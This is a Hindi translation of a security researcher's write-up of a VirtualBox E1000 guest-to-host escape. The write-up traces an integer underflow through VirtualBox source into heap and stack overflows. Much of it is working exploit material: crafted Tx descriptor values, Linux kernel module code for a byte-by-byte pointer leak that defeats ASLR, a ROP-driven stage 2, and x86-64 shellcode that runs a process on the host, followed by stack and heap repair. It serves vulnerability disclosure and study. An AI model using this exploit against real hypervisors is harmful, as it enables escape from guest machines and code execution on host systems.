virtualbox_e1000_0day

आइए उनके संरचना क्षेत्रों को इस प्रकार निर्दिष्ट करें (क्षेत्र नाम काल्पनिक हैं जो मानव-पठनीय हों लेकिन सीधे 82540EM विनिर्देश में मैप होते हैं):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

e1kTxDLazyLoad टीएक्स रिंग से सभी 5 टीएक्स डिस्क्रिप्टर पढ़ेगा। फिर e1kLocateTxPacket को पहली बार कॉल किया जाता है। यह फ़ंक्शन प्रारंभिक अवस्था स्थापित करने के लिए सभी डिस्क्रिप्टर पर पुनरावृत्ति करता है लेकिन वास्तव में उन्हें संभालता नहीं है। हमारे मामले में e1kLocateTxPacket का पहला कॉल context_1, data_2, और data_3 डिस्क्रिप्टर को संभालेगा। शेष दो डिस्क्रिप्टर, context_4 और data_5, while लूप के दूसरे पुनरावृत्ति पर संभाले जाएंगे (हम अगले भाग में दूसरे पुनरावृत्ति को कवर करेंगे)। यह दो-भागीय सरणी विभाजन कमजोरी को ट्रिगर करने के लिए महत्वपूर्ण है, तो आइए जानें क्यों।

e1kLocateTxPacket इस प्रकार दिखता है:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

यदि data_3.end_of_packet गलत होता, तो शेष context_4 और data_5 डिस्क्रिप्टर संसाधित हो जाते, और भेद्यता को टाल दिया जाता। नीचे आप देखेंगे कि फ़ंक्शन से वापसी बग की ओर क्यों ले जाती है।

e1kLocateTxPacket फ़ंक्शन के अंत में हमारे पास नेटवर्क पैकेट को अनरैप करने और नेटवर्क पर भेजने के लिए तैयार निम्नलिखित डिस्क्रिप्टर हैं: context_1, data_2, data_3। फिर e1kXmitPending का आंतरिक लूप e1kXmitPacket को कॉल करता है। यह फ़ंक्शन सभी डिस्क्रिप्टर (हमारे मामले में 5) पर पुनरावृत्त करता है ताकि उन्हें वास्तव में संसाधित किया जा सके:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

e1kXmitDesc को पारित किया गया पहला डिस्क्रिप्टर context_1 है। फ़ंक्शन संदर्भ डिस्क्रिप्टर के साथ कुछ नहीं करता।

e1kXmitDesc को पारित किया गया दूसरा डिस्क्रिप्टर data\_2 है। चूंकि हमारे सभी डेटा डिस्क्रिप्टर में tcp\_segmentation\_enable == true (उपरोक्त pDesc->data.cmd.fTSE) है, हम e1kFallbackAddToFrame को कॉल करते हैं जहां data\_5 प्रोसेस होने पर एक पूर्णांक अंडरफ़्लो होगा।```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

चूँकि data_3 का प्रकार E1K_DTYP_CONTEXT नहीं है और data_3.end_of_packet == true है, हम लूप से बाहर निकल जाते हैं, इस तथ्य के बावजूद कि अभी भी context_4 और data_5 को प्रोसेस किया जाना बाकी है। यह क्यों महत्वपूर्ण है? कमज़ोरी को समझने की कुंजी यह समझना है कि सभी संदर्भ डिस्क्रिप्टर डेटा डिस्क्रिप्टर से पहले प्रोसेस किए जाते हैं। संदर्भ डिस्क्रिप्टर e1kLocateTxPacket में TCP Segmentation Context Update के दौरान प्रोसेस किए जाते हैं। डेटा डिस्क्रिप्टर बाद में e1kXmitPacket फ़ंक्शन के अंदर लूप में प्रोसेस किए जाते हैं। डेवलपर का इरादा था कि कुछ डेटा प्रोसेस होने के बाद u16MaxPktLen को बदलने पर रोक लगाई जाए, ताकि कोड में इंटीजर अंडरफ़्लो को रोका जा सके:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

यहाँ हम e1kLocateTxPacket को कॉल करते हैं जो context_4 और data_5 डिस्क्रिप्टर का प्रारंभिक प्रसंस्करण करता है। कहा गया है कि हम context_4.maximum_segment_size को पहले से पढ़े गए डेटा के आकार से छोटे आकार पर सेट कर सकते हैं, यानी 0x10 से छोटा। हमारे इनपुट Tx डिस्क्रिप्टर को याद करें:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

यह निम्नलिखित जाँच को सत्य बनाता है क्योंकि 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

### बफर ओवरफ्लो
हमने e1kFallbackAddSegment को 0x4188 आकार के साथ कॉल किया है। इसका दुरुपयोग कैसे किया जा सकता है? मुझे कम से कम दो संभावनाएं मिलीं। पहली, डेटा को गेस्ट से एक हीप बफर में पढ़ा जाएगा:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

जैसा कि आप देख रहे हैं, हमने एक इंटीजर अंडरफ़्लो को एक क्लासिकल स्टैक बफ़र ओवरफ़्लो में बदल दिया। ऊपर बताए गए दो ओवरफ़्लो — हीप और स्टैक वाले — एक्सप्लॉइट में उपयोग किए जाते हैं।

## एक्सप्लॉइट
यह एक्सप्लॉइट एक लिनक्स कर्नेल मॉड्यूल (LKM) है जिसे गेस्ट OS में लोड किया जाता है। विंडोज के मामले में एक ड्राइवर की आवश्यकता होगी जो LKM से केवल इनिशियलाइज़ेशन रैपर और कर्नेल API कॉल में भिन्न होता है।

दोनों OS में ड्राइवर लोड करने के लिए उन्नत विशेषाधिकारों (elevated privileges) की आवश्यकता होती है। यह सामान्य है और इसे असंभव बाधा नहीं माना जाता। Pwn2Own प्रतियोगिता को देखें जहाँ शोधकर्ता एक्सप्लॉइट चेन का उपयोग करते हैं: गेस्ट OS में एक दुर्भावनापूर्ण वेबसाइट खोलने वाला ब्राउज़र हैक किया जाता है, ब्राउज़र सैंडबॉक्स एस्केप पूर्ण ring 3 एक्सेस प्राप्त करने के लिए किया जाता है, एक ऑपरेटिंग सिस्टम भेद्यता का शोषण करके ring 0 तक पहुँच बनाई जाती है जहाँ से गेस्ट OS से हाइपरवाइज़र पर हमला करने के लिए आपको जो कुछ भी चाहिए वह उपलब्ध है।
सबसे शक्तिशाली हाइपरवाइज़र भेद्यताएँ निश्चित रूप से वे हैं जिनका शोषण गेस्ट ring 3 से किया जा सकता है। VirtualBox में भी ऐसा कोड है जो गेस्ट रूट विशेषाधिकारों के बिना पहुँच योग्य है, और इसका अधिकांश भाग अभी तक ऑडिट नहीं किया गया है।

एक्सप्लॉइट 100% विश्वसनीय है। इसका मतलब है कि यह या तो हमेशा काम करता है या कभी नहीं, क्योंकि बेजोड़ बाइनरी या अन्य, अधिक सूक्ष्म कारण हैं जिन्हें मैंने ध्यान में नहीं रखा। यह कम से कम डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ Ubuntu 16.04 और 18.04 x86_64 गेस्ट पर काम करता है।

### एक्सप्लॉइटेशन एल्गोरिदम
1) एक हमलावर Linux गेस्ट में डिफ़ॉल्ट रूप से लोड e1000.ko को अनलोड करता है और एक्सप्लॉइट के LKM को लोड करता है।
2) LKM डेटाशीट के अनुसार E1000 को आरंभ (initialize) करता है। केवल ट्रांसमिट हाफ को आरंभ किया जाता है क्योंकि रिसीव हाफ की कोई आवश्यकता नहीं है।
3) चरण 1: सूचना लीक।
    1) LKM E1000 लूपबैक मोड को निष्क्रिय कर देता है ताकि स्टैक बफ़र ओवरफ़्लो कोड अप्राप्य हो जाए।
    2) LKM हीप बफ़र ओवरफ़्लो करने के लिए इंटीजर अंडरफ़्लो भेद्यता का उपयोग करता है।
    3) हीप बफ़र ओवरफ़्लो E1000 EEPROM का उपयोग करके एक हीप बफ़र के सापेक्ष 128 KB रेंज में कोई भी दो बाइट लिखने की अनुमति देता है। इसलिए हमलावर को एक राइट प्रिमिटिव प्राप्त होता है।
    4) LKM हीप पर ACPI (एडवांस्ड कॉन्फ़िगरेशन एंड पावर इंटरफ़ेस) डेटा संरचना में बाइट लिखने के लिए 8 बार राइट प्रिमिटिव का उपयोग करता है। बाइट्स को एक हीप बफ़र के इंडेक्स वेरिएबल में लिखा जाता है जिससे एक बाइट पढ़ी जाएगी। चूँकि बफ़र का आकार अधिकतम इंडेक्स संख्या (255) से छोटा है, हमलावर बफ़र से आगे पढ़ सकता है, इसलिए उसे एक रीड प्रिमिटिव प्राप्त होता है।
    5) LKM ACPI तक पहुँचने और हीप से 8 बाइट प्राप्त करने के लिए 8 बार रीड प्रिमिटिव का उपयोग करता है। वे बाइट VBoxDD.so शेयर्ड लाइब्रेरी के पॉइंटर हैं।
    6) LKM VBoxDD.so इमेज बेस प्राप्त करने के लिए पॉइंटर से RVA घटाता है।
4) चरण 2: स्टैक बफ़र ओवरफ़्लो।
    1) LKM E1000 लूपबैक मोड को सक्षम करता है ताकि स्टैक बफ़र ओवरफ़्लो कोड पहुँच योग्य हो जाए।
    2) LKM हीप बफ़र ओवरफ़्लो और स्टैक बफ़र ओवरफ़्लो करने के लिए इंटीजर अंडरफ़्लो भेद्यता का उपयोग करता है। सेव्ड रिटर्न एड्रेस (RIP/EIP) को ओवरराइट किया जाता है। हमलावर को नियंत्रण मिलता है।
    3) ROP चेन शेलकोड लोडर को निष्पादित करने के लिए चलायी जाती है।
5) चरण 3: शेलकोड।
    1) शेलकोड लोडर अपने बगल में स्टैक से एक शेलकोड कॉपी करता है। शेलकोड निष्पादित होता है।
    2) शेलकोड होस्ट पक्ष पर एक मनमाना प्रक्रिया उत्पन्न करने के लिए fork और execve सिस्कॉल करता है।
    3) पैरेंट प्रक्रिया प्रक्रिया निरंतरता करती है।
6) हमलावर LKM को अनलोड करता है और गेस्ट को नेटवर्क का उपयोग करने की अनुमति देने के लिए e1000.ko को वापस लोड करता है।

### प्रारंभिकीकरण (Initialization)
LKM E1000 MMIO के संबंध में भौतिक मेमोरी (physical memory) को मैप करता है। भौतिक पता और आकार हाइपरवाइज़र द्वारा पूर्वनिर्धारित होते हैं।```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

### ASLR Bypass
#### Write primitive
एक्सप्लॉइट डेवलपमेंट की शुरुआत से ही मैंने डिफ़ॉल्ट रूप से अक्षम की गई सेवाओं में पाए जाने वाले प्रिमिटिव का उपयोग न करने का निर्णय लिया। इसका मतलब है कि सबसे पहले Chromium सेवा (ब्राउज़र नहीं) जो 3D एक्सेलेरेशन प्रदान करती है, जहाँ पिछले वर्ष शोधकर्ताओं द्वारा 40 से अधिक कमज़ोरियाँ पाई गईं।

समस्या डिफ़ॉल्ट VirtualBox सबसिस्टम में एक सूचना लीक खोजने की थी। स्पष्ट विचार यह था कि यदि इंटीजर अंडरफ़्लो हीप बफ़र को ओवरफ़्लो करने की अनुमति देता है, तो हम बफ़र के आगे की किसी भी चीज़ को नियंत्रित कर सकते हैं। हम देखेंगे कि किसी अतिरिक्त कमज़ोरी की आवश्यकता नहीं थी: इंटीजर अंडरफ़्लो इतना शक्तिशाली निकला कि उससे रीड, राइट और सूचना लीक प्रिमिटिव प्राप्त किए जा सकें, स्टैक बफ़र ओवरफ़्लो का तो कहना ही क्या।

आइए देखें कि हीप पर वास्तव में क्या ओवरफ़्लो होता है।```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

हम उनका दुरुपयोग कैसे कर सकते हैं? E1000, EEPROM को लागू करता है, जो द्वितीयक एडाप्टर मेमोरी है। गेस्ट OS इसे E1000 MMIO रजिस्टरों के माध्यम से एक्सेस कर सकता है। EEPROM को एक सीमित ऑटोमेटन के रूप में लागू किया गया है जिसमें कई अवस्थाएँ हैं और यह चार क्रियाएँ करता है। हम केवल "मेमोरी में लिखना" में रुचि रखते हैं। यह इस प्रकार दिखता है (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

कथन m_au16Data से मनमाने 16-बिट ऑफ़सेट पर दो बाइट्स लिखेगा जो संरचना में भी स्थित हैं। हमने एक राइट प्रिमिटिव पाया है।

#### रीड प्रिमिटिव
अगली समस्या हीप पर डेटा संरचनाओं को खोजना था जिसमें मनमाना डेटा लिखा जा सके, मुख्य लक्ष्य एक साझा लाइब्रेरी पॉइंटर को लीक करना और इसका इमेज बेस प्राप्त करना था। उम्मीद है कि एक अस्थिर हीप स्प्रे करने की आवश्यकता नहीं थी क्योंकि वर्चुअल डिवाइसों की मुख्य डेटा संरचनाएं एक आंतरिक हाइपरवाइज़र हीप से इस तरह आवंटित होती प्रतीत हुईं कि उनके बीच की दूरी हमेशा स्थिर रहती है, भले ही उनके वर्चुअल पते, निश्चित रूप से, ASLR द्वारा यादृच्छिक किए गए हों।

जब एक वर्चुअल मशीन लॉन्च की जाती है, तो PDM (प्लगेबल डिवाइस और ड्राइवर मैनेजर) उपप्रणाली हाइपरवाइज़र हीप में PDMDEVINS ऑब्जेक्ट आवंटित करती है।```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

E1000 डिवाइस को #0xE स्थिति पर ध्यान दें। दूसरी सूची में देखा जा सकता है कि अगला डिवाइस E1000 से 0x5700 ऑफसेट पर है, उसके बाद वाला 0x19E0 पर है, और इसी प्रकार आगे। हम पहले ही कह चुके हैं कि ये दूरियाँ हमेशा समान रहती हैं, और यही हमारा शोषण का अवसर है।

E1000 के बाद आने वाले डिवाइस ICH IC'97, OHCI, ACPI, VirtualBox GIM हैं। उनके डेटा संरचनाओं को सीखकर मैंने राइट प्रिमिटिव का उपयोग करने का तरीका समझ लिया।

वर्चुअल मशीन के बूट अप पर ACPI डिवाइस बनाया जाता है (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

जब गेस्ट OS INB(0x4107) निर्देश को निष्पादित करता है ताकि पोर्ट से एक बाइट पढ़ी जा सके, तो हैंडलर au8SMBusBlkDat[32] ऐरे से u8SMBusBlkIdx इंडेक्स पर एक बाइट लेता है और उसे गेस्ट को लौटाता है। और इस प्रकार राइट प्रिमिटिव को लागू किया जाता है: चूंकि वर्चुअल डिवाइस हीप ब्लॉकों के बीच की दूरी स्थिर होती है, इसलिए EEPROM93C46.m_au16Data ऐरे से ACPIState.u8SMBusBlkIdx तक की दूरी भी स्थिर होती है। ACPIState.u8SMBusBlkIdx में दो बाइट लिखकर हम ACPIState.au8SMBusBlkDat से 255 बाइट्स की सीमा में मनमाना डेटा पढ़ सकते हैं।

एक बाधा है। ACPIState संरचना को देखने पर पता चलता है कि ऐरे संरचना के अंत में रखा गया है। शेष फ़ील्ड लीक करने के लिए बेकार हैं। तो देखते हैं कि संरचना के बाद क्या पाया जा सकता है:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

यह कहा गया है कि पूर्णांक अंडरफ़्लो को स्टैक बफ़र ओवरफ़्लो की ओर ले जाने से रोकने के लिए, कुछ E1000 रजिस्टरों को कॉन्फ़िगर किया जाना चाहिए। विचार यह है कि बफ़र का ओवरफ़्लो e1kHandleRxPacket फ़ंक्शन में हो रहा है, जिसे लूपबैक मोड में Tx डिस्क्रिप्टर को हैंडल करते समय कॉल किया जाता है। वास्तव में, लूपबैक मोड में गेस्ट अपने आप को नेटवर्क पैकेट भेजता है, इसलिए उन्हें भेजने के तुरंत बाद प्राप्त किया जाता है। हम इस मोड को अक्षम करते हैं ताकि e1kHandleRxPacket तक पहुँच संभव न हो।

### DEP Bypass
हमने ASLR को बाईपास कर दिया है। अब लूपबैक मोड को सक्षम किया जा सकता है और स्टैक बफ़र ओवरफ़्लो को ट्रिगर किया जा सकता है।```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

shellcode निष्पादित किया जाता है। इसका पहला भाग है:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret

जब e1kHandleRxPacket को कॉल किया जाता है, तो एक कॉलस्टैक है:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

शेलकोड RBP में 0x48 जोड़ता है ताकि यह e1kR3NetworkDown_XmitPending में जैसा होना चाहिए वैसा हो जाए। इसके बाद, रजिस्टर RBX, R12, R13, R14, R15 को स्टैक से लिया जाता है क्योंकि System V ABI के अनुसार कैली फंक्शन में इन्हें संरक्षित करना आवश्यक है। यदि ऐसा नहीं किया जाता, तो हाइपरवाइज़र उनमें अमान्य पॉइंटर्स के कारण क्रैश हो जाएगा।

यह पर्याप्त हो सकता है क्योंकि वर्चुअल मशीन अब क्रैश नहीं हो रही है और निष्पादित होती रहती है। लेकिन जब VM शट डाउन किया जाता है, तो PDMR3QueueDestroyDevice फंक्शन में एक एक्सेस उल्लंघन होगा। इसका कारण यह है कि जब हीप ओवरफ्लो होता है, तो एक महत्वपूर्ण संरचना PDMQUEUE ओवरराइट हो जाती है। इसके अलावा, यह अंतिम दो ROP गैजेट्स यानी अंतिम 16 बाइट्स द्वारा ओवरराइट होती है। मैंने ROP चेन का आकार कम करने का प्रयास किया और असफल रहा, लेकिन जब मैंने डेटा को मैन्युअल रूप से बदला, तब भी हाइपरवाइज़र क्रैश हो रहा था। इसका मतलब था कि बाधा उतनी स्पष्ट नहीं है जितनी लगती थी।

जो डेटा संरचना ओवरराइट हो रही है वह एक लिंक्ड लिस्ट है। ओवरराइट किया जाने वाला डेटा अंतिम दूसरे लिस्ट एलिमेंट में है; एक अगला पॉइंटर ओवरराइट होने वाला है। उपाय सरल निकला:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL